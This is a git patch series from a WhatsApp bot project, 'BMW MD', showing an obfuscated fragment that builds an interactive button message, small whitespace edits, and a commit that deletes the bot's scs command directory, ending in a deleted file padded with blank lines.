'url':_0x5792e1(0x16c)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x171),'url':_0x5792e1(0x170)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x18f),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x4ba821=generateWAMessageFromContent(_0x2552bb,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)]['create']({'body':proto['Message']['InteractiveMessage'][_0x5792e1(0x18c)][_0x5792e1(0x16a)]({'text':_0x774441}),'footer':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x16d)]['create']({'text':'\x20*Made\x20by\x20Ibrahim\x20Adams*'}),'header':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)][_0x5792e1(0x163)][_0x5792e1(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x183)]['create']({'buttons':_0x5d157c})})}}},{});await _0x1e6649['relayMessage'](_0x2552bb,_0x4ba821['message'],{'messageId':_0x4ba821['key']['id']});}else throw new Error(_0x5792e1(0x17f));}catch(_0x1ff971){console['error'](_0x5792e1(0x17f),_0x1ff971[_0x5792e1(0x15e)]),_0x3c48b(_0x5792e1(0x17f));}});
+
diff --git a/scs/bmwbutton.js b/scs/bmwbutton.js
index 139597f..b28b04f 100644
--- a/scs/bmwbutton.js
+++ b/scs/bmwbutton.js
@@ -1,2 +1,3 @@
+
diff --git a/scs/bmwc.js b/scs/bmwc.js
index efeb319..00a7fc3 100644
--- a/scs/bmwc.js
+++ b/scs/bmwc.js
@@ -1,4 +1,5 @@
+
const { adams } = require("../Ibrahim/adams");
const {getAllSudoNumbers,isSudoTableNotEmpty} = require("../lib/sudo")
const conf = require("../config");
diff --git a/scs/bmwca.js b/scs/bmwca.js
index 460c88e..9fdacfe 100644
--- a/scs/bmwca.js
+++ b/scs/bmwca.js
@@ -2,6 +2,7 @@ const { adams } = require("../Ibrahim/adams");
const canvacord = require("canvacord");
const {uploadImageToImgur} = require("../Ibrahim/imgur")
+
// Generic function to create a canvacord order
function createCanvacordCommand(commandName, canvacordFunction) {
adams({
From fe9323587739e152fba114c4bff5e8be372eb5f4 Mon Sep 17 00:00:00 2001
From: Ibraah Tech
Date: Sun, 27 Oct 2024 13:10:40 +0300
Subject: [PATCH 138/208] Delete scs directory
---
scs/bmwa.js | 15269 --------------------------------------------
scs/bmwae.js | 15452 ---------------------------------------------
scs/bmwba.js | 15301 --------------------------------------------
scs/bmwbe.js | 15322 --------------------------------------------
scs/bmwbi.js | 15 -
scs/bmwbo.js | 1 -
scs/bmwboo.js | 2 -
scs/bmwbu.js | 500 --
scs/bmwbut.js | 2 -
scs/bmwbutton.js | 3 -
scs/bmwc.js | 103 -
scs/bmwca.js | 71 -
scs/bmwce.js | 36 -
scs/bmwcii.js | 455 --
scs/bmwcmd.js | 169 -
scs/bmwcmds.js | 2 -
scs/bmwco.js | 390 --
scs/bmwcu.js | 29 -
scs/bmwd.js | 602 --
scs/bmwda.js | 129 -
scs/bmwde.js | 33 -
scs/bmwdo.js | 24 -
scs/bmwdu.js | 189 -
scs/bmwee.js | 205 -
scs/bmweo.js | 1337 ----
scs/bmweu.js | 103 -
scs/bmwf.js | 31 -
scs/bmwfet.js | 63 -
scs/bmwh.js | 94 -
scs/bmwhrk.js | 334 -
scs/bmwi.js | 215 -
scs/bmwj.js | 280 -
scs/bmwjj.js | 1 -
scs/bmwm.js | 144 -
scs/bmwmenu.js | 11 -
scs/bmwmn.js | 2 -
scs/bmwmor.js | 1 -
scs/bmwn.js | 26 -
scs/bmwo.js | 39 -
scs/bmwp.js | 37 -
scs/bmwplns.js | 119 -
scs/bmwq.js | 90 -
scs/bmwqan.js | 1 -
scs/bmwqpa.js | 1 -
scs/bmwr.js | 114 -
scs/bmwrepo.js | 1338 ----
scs/bmws.js | 74 -
scs/bmwt.js | 62 -
scs/bmwtes.js | 1 -
scs/bmwu.js | 51 -
scs/bmwue.js | 991 ---
scs/bmwui.js | 39 -
scs/bmwuu.js | 1037 ---
scs/bmwv.js | 88 -
scs/bmww.js | 173 -
scs/bmwx.js | 103 -
scs/bmwy.js | 309 -
scs/bmwz.js | 50 -
scs/song.js | 1 -
59 files changed, 71664 deletions(-)
delete mode 100644 scs/bmwa.js
delete mode 100644 scs/bmwae.js
delete mode 100644 scs/bmwba.js
delete mode 100644 scs/bmwbe.js
delete mode 100644 scs/bmwbi.js
delete mode 100644 scs/bmwbo.js
delete mode 100644 scs/bmwboo.js
delete mode 100644 scs/bmwbu.js
delete mode 100644 scs/bmwbut.js
delete mode 100644 scs/bmwbutton.js
delete mode 100644 scs/bmwc.js
delete mode 100644 scs/bmwca.js
delete mode 100644 scs/bmwce.js
delete mode 100644 scs/bmwcii.js
delete mode 100644 scs/bmwcmd.js
delete mode 100644 scs/bmwcmds.js
delete mode 100644 scs/bmwco.js
delete mode 100644 scs/bmwcu.js
delete mode 100644 scs/bmwd.js
delete mode 100644 scs/bmwda.js
delete mode 100644 scs/bmwde.js
delete mode 100644 scs/bmwdo.js
delete mode 100644 scs/bmwdu.js
delete mode 100644 scs/bmwee.js
delete mode 100644 scs/bmweo.js
delete mode 100644 scs/bmweu.js
delete mode 100644 scs/bmwf.js
delete mode 100644 scs/bmwfet.js
delete mode 100644 scs/bmwh.js
delete mode 100644 scs/bmwhrk.js
delete mode 100644 scs/bmwi.js
delete mode 100644 scs/bmwj.js
delete mode 100644 scs/bmwjj.js
delete mode 100644 scs/bmwm.js
delete mode 100644 scs/bmwmenu.js
delete mode 100644 scs/bmwmn.js
delete mode 100644 scs/bmwmor.js
delete mode 100644 scs/bmwn.js
delete mode 100644 scs/bmwo.js
delete mode 100644 scs/bmwp.js
delete mode 100644 scs/bmwplns.js
delete mode 100644 scs/bmwq.js
delete mode 100644 scs/bmwqan.js
delete mode 100644 scs/bmwqpa.js
delete mode 100644 scs/bmwr.js
delete mode 100644 scs/bmwrepo.js
delete mode 100644 scs/bmws.js
delete mode 100644 scs/bmwt.js
delete mode 100644 scs/bmwtes.js
delete mode 100644 scs/bmwu.js
delete mode 100644 scs/bmwue.js
delete mode 100644 scs/bmwui.js
delete mode 100644 scs/bmwuu.js
delete mode 100644 scs/bmwv.js
delete mode 100644 scs/bmww.js
delete mode 100644 scs/bmwx.js
delete mode 100644 scs/bmwy.js
delete mode 100644 scs/bmwz.js
delete mode 100644 scs/song.js
diff --git a/scs/bmwa.js b/scs/bmwa.js
deleted file mode 100644
index 5a4d63b..0000000
--- a/scs/bmwa.js
+++ /dev/null
@@ -1,15269 +0,0 @@
-
-
-/**
-Yoo bro what au looking for
-Just deploy the bot with original repo
-
-BMW MD
-
-Made by dev Ibrahim Adams
-
-
- _.u[[/;:,. .odMMMMMM'
- .o888UU[[[/;:-. .o@P^ MMM^
- oN88888UU[[[/;::-. dP^
- dNMMNN888UU[[[/;:--. .o@P^
- ,MMMMMMN888UU[[/;::-. o@^
- NNMMMNN888UU[[[/~.o@P^
- 888888888UU[[[/o@^-..
- oI8888UU[[[/o@P^:--..
- .@^ YUU[[[/o@^;::---..
- oMP ^/o@P^;:::---..
- .dMMM .o@^ ^;::---...
- dMMMMMMM@^` `^^^^
-YMMMUP^
-
- Unclone version 😂🤣
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
